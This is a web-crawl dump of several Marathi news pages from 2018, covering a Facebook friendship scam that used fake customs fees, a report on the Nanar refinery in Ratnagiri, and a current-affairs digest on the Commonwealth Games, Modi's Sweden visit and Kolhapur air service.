दिसून आले. येथील मतदान केंद्रावर भाजप, काँग्रेस, स्वाभिमान व राष्ट्रवादीचे नेते व पदाधिकारी दिलखुलास चर्चा करीत असतानाच सेनेचे पदाधिकारी मात्र एका बाजूला शांतपणे उभे होते.निवडणूक निकालातही हेच चित्र दिसणार असल्याची चर्चा सुरू होती.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00167.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/cheating-by-facebook/", "date_download": "2018-09-25T16:35:04Z", "digest": "sha1:IMFRXYL4VZGVMYQKSUU6YICWLQ4ZOUYM", "length": 19779, "nlines": 260, "source_domain": "www.saamana.com", "title": "फेसबुकवरून मैत्री करून लाखोंचा गंडा; विवाहित महिलेची पोलिसांत तक्रार | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nफेसबुकवरून मैत्री करून लाखोंचा गंडा; विवाहित महिलेची पोलिसांत तक्रार\nफेसबुकवर मैत्री करून एका भामट्य़ाने जे. जे. मार्ग येथे राहणाऱ्या महिलेला साडेचार लाखांचा गंडा घातल्याचा प्रकार उघडकीस आला आहे. कॅन्सरग्रस्तांना मदत करायची आहे असे सांगून तिला फसविण्यात आले असून याप्रकरणी तिच्या तक्रारीवरून जे. जे. मार्ग पोलीस ठाण्यात गुन्हा दाखल करण्यात आला आहे.\nजे. जे. मार्ग येथील बिस्मिल्ला हाऊस येथे राहणाऱ्या सुमय्या मोमीन यांना फेसबुकवर मॅक्स जोहान्स या नावाने फ्रेंड रिक्वेस्ट आली. कोणतीही शहानिशा न करता सुमय्या यांनी ही रिक्वेस्ट स्वीकारली. दोघांची फेसबुकवर मैत्री झाली. दोघेही एकमेकांशी मेसेंजरवरून बोलू लागले. सुमय्या यांचा आपल्यावर विश्वास बसल्याचे लक्षात येताच मॅक्स याने कॅन्सरवरून बोलण्यास सुरुवात केली. माझ्या पत्नीचे कॅन्सरने निधन झाले त्यामुळे मला कॅन्सरग्रस्तांना मदत करायची आहे. हिंदुस्थानातील गरजूंना मदत पाठवतो तू स्वयंसेवी संस्थाना दे असे मॅक्सने सांगितले. कॅन्सरग्रस्तांना मदत द्यायची आहे म्हणून सुमय्या हिनेही तयारी दर्शवली.\nहिंदुस्थानात काही वस्तू पाठविल्याचे मॅक्स याने सुमय्या यांना कळविले. दोनच दिवसांनी त्यांना दिल्ली विमानतळावरून एका महिलेचा फोन आला. विमानतळावरील महिला अधिकारी बोलत असल्याचे सांगून तिने न्यूयॉर्कवरून आपल्या नावाचे पार्सल आल्याचे सुमय्या हिला सांगितले. आयफोन, चॉकलेट, परफ्युम, पेन ड्राइव्ह, डॉलर्स अशा विविध वस्तू पाठविण्यात आल्या आहेत. त्यावर तुम्हाला कर भरावा लागेल असे सांगून टप्प्याटप्प्याने विविध बँक खात्यांत पैसे भरण्यास सांगितले. सुमय्या यांनी सुमारे साडेचार लाख रुपये भरले. इतके पैसे भरूनही एकही वस्तू हाती न लागल्याने फसवणूक झाल्याचे त्यांच्या लक्षात आले. त्यांनी याप्रकरणी जे. जे. मार्ग पोलीस ठाण्यात तक्रार केली आहे.\nकर, दंड आणि सर्टिफिकेट\nतुमच्या पार्सलचे वजन १२ किलोपेक्षा जास्त असल्याने तुम्हाला २७ हजार रुपये कर भरावा लागेल. डॉलर्स असल्याने ८० हजार दंड भरावा लागेल. त्यानंतर या वस्तूंची किंमत जास्त होत असल्याने साडेतीन लाख आयकर भरावा लागेल असे विमानतळावरील महिला अधिकाऱ्याने सांगितले. हे सर्व पैसे सुमय्या याने दिल्लीतील विविध खात्यांमध्ये ट्रान्सफर केले. तुम्हाला आलेल्या वस्तू आणि डॉलर्स हे अतिरेकी कारवायांसाठी नाहीत. हे स्पष्ट करण्यासाठी तुम्हाला ऍन्टी टेरेरिझम सर्टिफिकेट मिळेल त्यासाठी पाच लाख रुपये द्या, असे सांगितल्यावर मात्र सुमय्या यांना संशय आला आणि त्यांनी पोलिसांत धाव घेतली.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00167.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/494743", "date_download": "2018-09-25T17:15:22Z", "digest": "sha1:VVV5ERGYVYQ3V2GODGTAKSJGNLWGA4MG", "length": 16719, "nlines": 52, "source_domain": "www.tarunbharat.com", "title": "‘फलोद्यान’ जिह्यात ‘रिफायनरी’ ही धोरण विसंगती! - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी » ‘फलोद्यान’ जिह्यात ‘रिफायनरी’ ही धोरण विसंगती\n‘फलोद्यान’ जिह्यात ‘रिफायनरी’ ही धोरण विसंगती\n20 वर्षांपुर्वीच्या घोषणेचा युतीला विसर\nकोकणचे प्रतिनिधी दिल्लीत निष्प्रभ,\nपुढाऱयांचा धोरणबदलूपणा निसर्गाच्या मुळावर\nनाणार रिफायनरी ग्राऊंड रिपोर्ट 5\nनाणार परिसरातील रिफायनरी व त्याबाबत मंत्री आणि मंत्रालयाच्या भूमिकांमधील विसंगती या बाबींसंबंधी स्थानिक जनतेच्या मनात असणारा संभ्रम दूर होणे ही कोणत्याही प्रकल्पासाठी अत्यंत महत्त्वाची गोष्ट ठरते. मात्र रिफायनरी प्रकल्पाबाबत असा संभ्रम दूर होणे सोडाच तो वाढतानाच दिसत आहे. ज्या शिवसेना-भाजप सरकारने 20 वर्षांपुर्वी रत्नागिरी जिल्हा फलोद्यान जिल्हा म्हणून घोषीत केला तेच सरकार हा प्रदुषणकारी प्रकल्प आणत आहे ही मोठी धोरण विसंगती आहे. राजकीय नेते व लोकप्रतिनिधींचा हा धोरणबदलूपणा निसर्गाच्या मुळावर आला आहे.\nप्रस्तावित ‘रिफायनरी’ ही सरकारी मालकीच्या तीन तेल कंपन्या एकत्र येऊन उभारणार आहेत. सार्वजनिक मालकीची कंपनी असल्यामुळे तिचा ‘सार्वजनिक उपक्रम’ मंत्रालयाशी संबंध असला तरी तीनही तेल कंपन्या ‘पेट्रोलियम आणि नैसर्गिक वायू’ मंत्रालयाच्या अखत्यारीत येतात. या खात्याचे मंत्री धर्मेंद्र प्रधान यांचा हवाला देवून ‘बिझिनेस स्टँडर्ड’ ने 2015 मध्ये प्रसिध्द केलेल्या लेखात हा प्रकल्प वार्षिक 30 दशलक्ष टन एवढय़ा उत्पादन क्षमतेचा असेल, असा उल्लेख केला होता.\n‘अवजड उद्योग आणि सार्वजनिक उपक्रम’ या पेंद्रीय खात्याचे पॅबिनेट मंत्री अनंत गीते हे अनेक वर्षे रत्नागिरी मतदारसंघाचे दिल्लीत प्रतिनिधीत्व करीत असल्यामुळे ते या प्रकल्पांच्या संकटापासून आपल्याला सोडवतील अशी आशा कोकणातील भाबडय़ा जनतेला वाटत आहे. मात्र अवाढव्य व्याप असणाऱया सार्वजनिक उद्योगांचा कारभार कोणा एका मंत्रालयाकडून सांभाळला जात नाही. देशातील सुमारे पावणेतीनशे सार्वजनिक उपक्रमांची वाटणी अनेक निरनिराळ्या खात्यांमध्ये करण्यात आली आहे. परिणामी ‘सार्वजनिक उपक्रम’ असे नाव लावणाऱया मंत्रालयापेक्षा संबंधित खात्याचा निर्णय अधिक प्रभावी ठरतो. घातक प्रकल्प नको असेल तर संबंधित मंत्रालयाला तसे पटवून देण्याची आवश्यकता आहे. नवी दिल्लीच्या निर्णयावर प्रभाव टाकण्यात महाराष्ट्राचे लोकप्रतिनिधी नेहमीच कमी पडतात, असा आजवरचा अनुभव आहे. नामदार गीते आणि त्यांच्या मंत्रालयाच्या भूमिकांमधील विसंगती अनाकलनीय असल्याचा पहिल्या भागात जो उल्लेख आहे त्याचे हे रहस्य आहे.\nहजारो कुटुंबे, काही हजार हेक्टर जमीन, त्यावरील नैसर्गिक संसाधने, प्राणिजीवन, मानवी संस्कृती, ऐतिहासिक स्थळे अशा अनेक पैलूंवर दीर्घकालीन परिणाम करणारे प्रकल्प येऊ घातल्यावर त्यांचे स्वागत करावे की नाही याबाबत लोकशाही राष्ट्रांमध्ये नेहमीच मतमतांतरे आढळतात. लोकांचे प्रतिनिधीत्व करणाऱया राजकीय पक्षांच्या भूमिकाही सतत बदलतात.\nजागा बदलली, भुमिकाही बदलल्या\nजैतापूर अणुऊर्जा प्रकल्पाबाबत शिवसेनेने कडव्या विरोधाची भूमिका घेतली तेव्हा सत्तेत असलेल्या काँग्रेसने तितक्याच जोरकसपणे त्या प्रकल्पाचे समर्थन केले. आज नाणार रिफायनरीच्या प्रश्नावर मात्र विरोधीपक्षातील काँग्रेसने विरोधाची भूमिका घेतली आहे. जैतापूरच्या आंदोलनात अग्रभागी असलेले राजापूरचे आमदार राजन साळवी मात्र या नव्या प्रकल्पाबाबतही पूर्वीप्रमाणेच विरोधाच्या भूमिकेत आहेत. जैतापूर प्रकल्प कसा आणि किती विनाशकारी असेल याविषयी डिसेंबर 2010 मधील विधिमंडळाच्या हिवाळी अशिवेशनात जोरदारपणे भाषण करणारे शिवसेनेचे ज्येष्ठ नेते सुभाष देसाई आता राज्याचे उद्योगमंत्री आहेत. जैतापूर प्रकल्पापासून फार दूर नसलेल्या टापूमध्ये प्रदूषणाबाबत ‘लाल उद्योगां’चा दर्जा देण्यात आलेल्या रिफायनरीसाठी ‘औद्योगिक क्षेत्र’ म्हणून जमिनी संपादित करण्याची अधिसूचना त्यांच्याच मंत्रालयाने काढली आहे. ‘विनाशकारी प्रकल्प जनतेला नको असताना कशासाठी लादायचा’ असा प्रश्न साडेसहा वर्षापूर्वी विधिमंडळात विचारणारे सुभाष देसाई आता उद्योगमंत्र्यांच्या खुर्चीत बसून प्रकल्पासाठी लोकांचा सहयोग महत्त्वाचा असे म्हणून लोकांची मने वळवण्यासाठी मुद्दे समजावून सांगू इच्छीत आहेत.\nफलोद्यान जिल्हय़ात प्रदुषणकारी प्रकल्प\n‘कोकणचा पॅलिफोर्निया’ झाला पाहिजे अशा घोषणा पूर्वी दिल्या जात असत. परंतु अनेक वर्षे काँग्रेसची राजवट होती तेव्हा विकास झाला नाही. मात्र त्याच पक्षातील दूरदृष्टीचे नेते बाळासाहेब सावंत, शामराव पेजे यांसारख्यांनी शाश्वत विकासासाठी सार्वजनिक संस्थांची उभारणी व्हावी यसाकरीता प्रयत्न केले. विसाव्या शतकाच्या शेवटच्या टप्प्यात राज्यातील सत्तेवर आलेल्या शिवसेना-भाजप-युतीच्या सरकारने रत्नागिरी हा ‘फलोद्यान जिल्हा’ घोषित केला. याला वीस वर्षे झाली. त्याच्याही आधी 1990 मध्ये जिह्यात ‘रोजगार हमी योजनें’तर्गत फळबाग लागवड योजना कार्यान्वित झाली. ही योजना येण्यापूर्वी 38 हजार 644 हेक्टर जमीन फळलागवडीखाली होती, योजनेनंतर 87 हजार 931 हेक्टर क्षेत्र लागवडीखाली आले. दरवर्षी त्यात 500 हेक्टरच्या आसपास वाढ होत आहे. जिह्यातील 1 लाख 4 हजार शेतकऱयांनी याचा लाभ घेतला आहे. फलोद्यानासाठी घोषित कलेल्या जिह्यात फळे आणि शेतीला मारक कारखाने आणण्याचे धोरणच विसंगत ठरते. गेल्या वीस वर्षात ज्यांना फळे धरु लागली ती झाडे तोडून टाकण्याची वेळ शेतकऱयांवर आली आहे.\n…तर विस्तीर्ण किनारा बनेल शाप\nजिह्यात एकूण 2 लाख 75 हजार हेक्टर क्षेत्र फळलागवडीसाठी उपलब्ध आहे, त्यातील सुमारे 1 लाख 63 हजार हेक्टर क्षेत्र 2016 पर्यंत लागवडीखाली आले. फळलागवडीमध्ये प्रगती होत असूनही चांगल्याप्रकारचे फळप्रक्रिया केंद्र उपलब्ध नसल्यामुळे विशेषतः आंबा मोठय़ा प्रमाणा परराज्यात पाठवण्यात येतो. सागवे ग्रामपंचायतीने मागील सरकारच्या काळातच 25 वर्षांच्या पर्यावरणीय विकास आराखडय़ात अशा केंद्राची कल्पना मांडली होती. ‘हापूस’ आंब्याला अलिकडेच ‘रत्नागिरी’, ‘देवगड’ असे ब्रॅण्डिंग मिळाले आहे. फलोद्यान क्षेत्रात अशी घोडदौड होत असता फळबागांनाच घातक असे प्रकल्प कोकणात आणण्यात सरकारचा रस वाढू लागला आहे. केवळ भरपूर पाणी उपलब्ध असल्यामुळे समुद्र किनाऱयाची निवड अशा प्रकल्पांसाठी केली जात असेल तर विस्तीर्ण सुंदर किनारपट्टी हे कोकणी जनतेला वरदान वाटण्याऐवजी शापच भासेल अशी भीती निराधार म्हणता येणार नाही.\nहर्णैत तीन शालेय मुले चोरीप्रकरणी ताब्यात\nकृष्णा’ गोदामाची आग 10 तासांनी नियंत्रणात\nमान्सूनपूर्व योग्य उपाययोजना राबवा\nमुंबई विद्यापीठ नाटय़ विभागात ‘डीबीजे’ चॅम्पियन\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00167.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.mahanmk.com/blog/cucurrent-affairs-in-marathi-17-april-2018.html", "date_download": "2018-09-25T17:06:07Z", "digest": "sha1:D3KPBG64OACCYW25IF73A4XEJYKD2ZEH", "length": 30371, "nlines": 145, "source_domain": "www.mahanmk.com", "title": "चालू घडामोडी - १७ एप्रिल २०१८ | mahanmk.com", "raw_content": "\nचालू घडामोडी - १७ एप्रिल २०१८\nचालू घडामोडी - १७ एप्रिल २०१८\nराष्ट्रकुलमध्ये चार पदके कमावणाऱ्या मनिकाची कमागिरी ५३ देशांहून भारी :\nराष्ट्रकुल क्रीडा स्पर्धेत भारताने दमदार कामगिरी करत एकूण ६६ पदकांची कमाई केली. यामध्ये २६ सुवर्ण, २० रौप्य, आणि २० कांस्य पदकांचा समावेश आहे. राष्ट्रकुल स्पर्धांमध्ये सर्वाधिक पदक मिळवणाऱ्या देशांच्या यादीमध्ये भारताने या ६६ पदकांसहीत तिसरे स्थान पटकावले आहे. ऑस्ट्रेलिया १९८ पदके (८० सुवर्ण, ५९ रौप्य आणि ५९ कांस्य) आणि इंग्लंड १३६ पदके (४५ सुवर्ण, ४५ रौप्य आणि ४६ कांस्य) हे दोन देश या यादीमध्ये अव्वल स्थानी आहेत.\nविशेष म्हणजे मनिका बत्रा ही यंदाच्या राष्ट्रकुल स्पर्धेमध्ये भारतासाठी सर्वाधिक पदके जिंकणारी खेळाडू ठरली आहे. तिने दोन सुवर्ण, एक रौप्य आणि एक कांस्य अशा चार पदकांची कमाई केली आहे. म्हणजेच सर्वाधिक पदके जिंकणाऱ्या देशांच्या यादीमध्ये मनिकाचे नाव लिहायचे ठरवल्यास ती १८ व्या स्थानी असेल. म्हणजेच पदकांच्या यादीच्या दृष्टीने राष्ट्रकुलमध्ये सहभागी झालेल्या ७१ देशांपैकी ५३ देशांहून मेनकाची कामगिरी सरस राहिली आहे असे म्हणता येईल.\nभारताच्या टेबल टेनिसपटूंनी राष्ट्रकुल क्रीडा स्पर्धेतील पदक धडाकाच लावला. राष्ट्रकुल स्पर्धेच्या शेवटच्या दिवशीही टेबल टेनिसपटूंनी दोन कांस्यपदक आपली नावे कोरली. दहा सदस्यीय टेबल टेनिस संघाने एकूण ८ पदकांची कमाई केली. त्यात तीन सुवर्ण, दोन रौप्य आणि तीन कांस्यपदकांचा समावेश आहे. राष्ट्रकुल स्पर्धेतील ही ऐतिहासिक कामगिरी ठरली. या आठ पैकी चार पदके बत्राच्या नावे आहेत. शेवटच्या दिवशी मिश्र दुहेरीच्या कांस्यपदकाच्या लढतीत जी.\nसाथियनसह तिने भारताच्याच अचंता शरथ कमल व मौमा दास या जोडीचा ११-६, ११-२, ११-४ असा पराभव करत चौथे पदक आपल्या नावे केले. यापूर्वी तिने महिला एकेरीच्या ऐतिहासिक सुवर्णपदकासह महिला सांघिक गटात बाजी मारली होती. तसेच महिला दुहेरीत मौमा दासच्या साथीने रौप्यपदकाची कमाई केली.\nपंतप्रधान नरेंद्र मोदी स्वीडनमध्ये दाखल, विमानतळावर झाले जंगी स्वागत :\nस्कॉटहोम : पंतप्रधान नरेंद्र मोदी पाच दिवसांच्या परदेश दौऱ्यावर आहेत. सोमवारी उशिरा रात्री ते स्वीडन येथे दाखल झाले आहेत. यावेळी त्यांचे भव्य स्वागत करण्यात आले. स्वीडनचे पंतप्रधान स्टीफन लॉवेन यांनी पंतप्रधान मोदी यांचे विमानतळावर स्वागत केले. यावेळी पंतप्रधानांनी तेथील भारतीय नागरिकांचीही भेट घेतली.\nआज पंतप्रधान मोदी अनेक बैठकांमध्ये सहभागी होणार आहेत. या दौऱ्यादरम्यान, पंतप्रधान नरेंद्र मोदी व्यापार आणि गुंतवणुकीसह अनेक महत्त्वपूर्ण क्षेत्रांत द्विपक्षीय सहकार्य बळकट करण्यावर भर देतील. देशवापसी करताना 20 एप्रिलला पंतप्रधान मोदी बर्लिन येथे काही वेळासाठी थांबवणार आहेत.\nया दौऱ्याबाबत पंतप्रधान मोदी यांनी फेसबुक पोस्टमध्ये लिहिले आहे की, 'भारत आणि स्वीडनमध्ये मैत्रीचे नाते आहे. आमच्यातील भागीदारी लोकशाही मूल्यं तसेच खुल्या, सर्वसमावेश आणि नियमांच्या आधारावर आधारित आहे. विकासाच्या बाबतीत स्वीडन हा एक महत्त्वपूर्ण भागीदार आहे. ''\nशिक्षणासाठी पाश्चिमात्य देशांत पोषक वातावरण - प्रणव मुखर्जी :\nमुंबई : पाश्चिमात्य देशांमधील शिक्षणसंस्थांमध्ये शिक्षणासाठी आपल्या देशापेक्षा अधिक पोषक वातावरण आहे, असे प्रतिपादन माजी राष्ट्रपती प्रणव मुखर्जी यांनी केले. सातव्या डॉ. एम. विश्वेश्वरैया स्मृती व्याख्यानात ते बोलत होते.\nसोमवारी कफ परेड येथील एमव्हीआयआरडीसी वर्ल्ड ट्रेड सेंटर येथे या व्याख्यानमालेचे आयोजन करण्यात आले होते. या वेळी वर्ल्ड ट्रेड सेंटरचे अध्यक्ष कमल मोरार्का, वर्ल्ड ट्रेड सेंटरचे उपाध्यक्ष शरद उपासनी आणि विजय कलंत्री, वर्ल्ड ट्रेड सेंटरचे कार्यकारी संचालक वारेरकर या वेळी उपस्थित होते.\nप्रणव मुखर्जी म्हणाले की, पाश्चिमात्य देशांमधील शिक्षणसंस्था तेथील विद्यार्थ्यांना अभ्यासात अधिक रूची निर्माण होईल, यासाठी प्रयत्नशील असतात. आपल्याकडे त्याचे प्रमाण कमी आहे. ते वाढविण्यासाठी अधिक प्रयत्न होणे आवश्यक आहे. भारतामध्ये शैक्षणिक दर्जा उंचावतोय, तो अधिक उंचावण्यासाठी विशेष लक्ष द्यायला हवे. भारत स्वतंत्र झाला, तेव्हा देशात १२ टक्के साक्षरता होती. आज भारतात साक्षरतेचे प्रमाण वाढून ७४ टक्के इतके झाले आहे. हा टप्पा गाठण्यासाठी ७० वर्षे लागली.\nडॉ. एम. विश्वेश्वरैया यांच्या आठवणींना उजाळा देताना मुखर्जी म्हणाले की, विश्वेश्वरैया हे देशाचे श्रेष्ठ पुत्र आहेत, त्यांनी देशाची बांधणी करताना स्वत:चे आयुष्य वेचले. त्यांनी राबविलेल्या नदीजोड प्रकल्पांमुळे अनेक खेड्यांमध्ये पाणी पोहोचले. मैसुरचे दिवाण असताना त्यांनी बंगळुरू कृषी विद्यापीठ, मैसूर साबण कारखाना, स्टेट बँक आॅफ मैसूर, मैसूर आयर्न अँड स्टील वर्क्ससारख्या कंपन्या आणि संस्थांची स्थापना करून रोजगार उपलब्ध करून दिले.\nलोकसेवा आयोगाची परीक्षा द्यायचीय\nजयपूर: कोणतीही परीक्षा देणाऱ्या विद्यार्थ्याला, मुलाखत देणाऱ्या उमेदवाराला मोठ्या अपेक्षा असतात. कोणतीही अपेक्षा न ठेवता परीक्षा, मुलाखत देणारे तसे कमीच. मात्र आता राजस्थान लोकसेवा आयोगाची परीक्षा देणाऱ्यांना 'कर्म करत राहा, फळाची अपेक्षा ठेऊ नका,' हे व्यवस्थित लक्षात ठेवावं लागणार आहे. कारण लोकसेवा आयोगाच्या परीक्षेत भगवदगीतेमधील प्रश्न विचारले जाणार आहेत.\nराजस्थान लोकसेवा आयोगाने (आरपीएससी) 2018 च्या प्रशासकीय परीक्षेच्या अभ्यासक्रमात थोडा बदल केला आहे. त्यामुळे सामान्य ज्ञानाला नितीशास्त्राची जोड देण्यात आली आहे. यामध्ये भगवद्गीता आणि महात्मा गांधी यांच्या जीवनाशी संबंधित प्रश्नांचा समावेश आहे. बदललेल्या अभ्यासक्रमात राष्ट्रीय नेते, समाज सुधारक आणि प्रशासकीय अधिकाऱ्यांच्या जीवनाबद्दलच्या माहितीचाही समावेश आहे.\nराजस्थान प्रशासकीय सेवेच्या 2018 च्या बदलेल्या अभ्यासक्रमाच्या दुसऱ्या पेपरमध्ये सामान्य ज्ञानाबद्दलचे प्रश्न विचारण्यात येणार आहेत. याशिवाय प्रशासन आणि व्यवस्थापनात भगवद्गीतेची भूमिका यासंदर्भातील प्रश्नदेखील विचारले जातील. या पेपरमध्ये एकूण 3 युनिट असतील. भगवद्गीतेमध्ये कुरुक्षेत्रावरील लढाईच्या दरम्यान भगवान श्रीकृष्ण आणि अर्जुन यांच्यात झालेल्या संवादाचे 18 अध्याय आहेत. यामधूनच परीक्षेत प्रश्न विचारले जाणार आहेत.\nविद्यार्थ्यांना प्रशासकीय आणि व्यवस्थापनाची माहिती देण्यासाठी भगवद्गीतेमधील प्रश्न विचारण्यात येणार असल्याचं राजस्थान लोकसेवा आयोगच्या एका कनिष्ठ अधिकाऱ्यानं सांगितलं. 'सर्व अध्याय लक्षात ठेवणाऱ्या विद्यार्थ्यांना 100 टक्के गुण मिळू शकतात. त्यामुळे त्यांना अधिकारी झाल्यावर प्रशासकीय निर्णय घेताना मदत होईल,' अशी माहितीदेखील या अधिकाऱ्यानं दिली.\nकोल्हापूरला अखेर 'पंख' मिळाले, उद्यापासून मुंबईसाठी विमानसेवा :\nकोल्हापूर : गेली सहा वर्षे रखडलेली कोल्हापूरची विमानसेवा आता उद्यापासून (मंगळवार) सुरु होणार आहे. मुंबई - कोल्हापूर आणि कोल्हापूर - मुंबई या विमानसेवेतून 30 प्रवासी उद्या उडान योजनेअंतर्गत प्रवास करणार आहेत.\nकोल्हापूरची विमानसेवा गेल्या 6 वर्षांपासून रखडली होती. अनेक वेळा या विमानसेवेच्या घोषणा झाल्या आणि त्या हवेतच विरल्या. मात्र कोल्हापूरचे खासदार धनंजय महाडिक यांनी या सेवेसाठी मोठा पाठपुरावा केला. त्यांच्या प्रयत्नातून पुन्हा कोल्हापूर - मुंबई ही विमानसेवा सुरू होत आहे.\nमुंबईतून उद्या दुपारी दोन वाजता विविध क्षेत्रात काम करणारे मान्यवर या विमानातून कोल्हापूरला येतील. तर कोल्हापूरहून मुंबईला शेतकरी, अनाथ आणि अपंग मुले, कचरा वेचक महिला, तसेच विविध क्षेत्रात काम करणाऱ्या महिला प्रवास करतील.\nखासदार धनंजय महाडिक यांनी याबाबत नियोजन केलं आहे. कोल्हापूरची विमानसेवा अखंडित रहावी यासाठी धनंजय महाडिक यांनी पुढील सहा महिन्यांची विमान तिकिटे घेण्याची तयारी दाखवली आहे.\nराष्ट्रकुलच्या 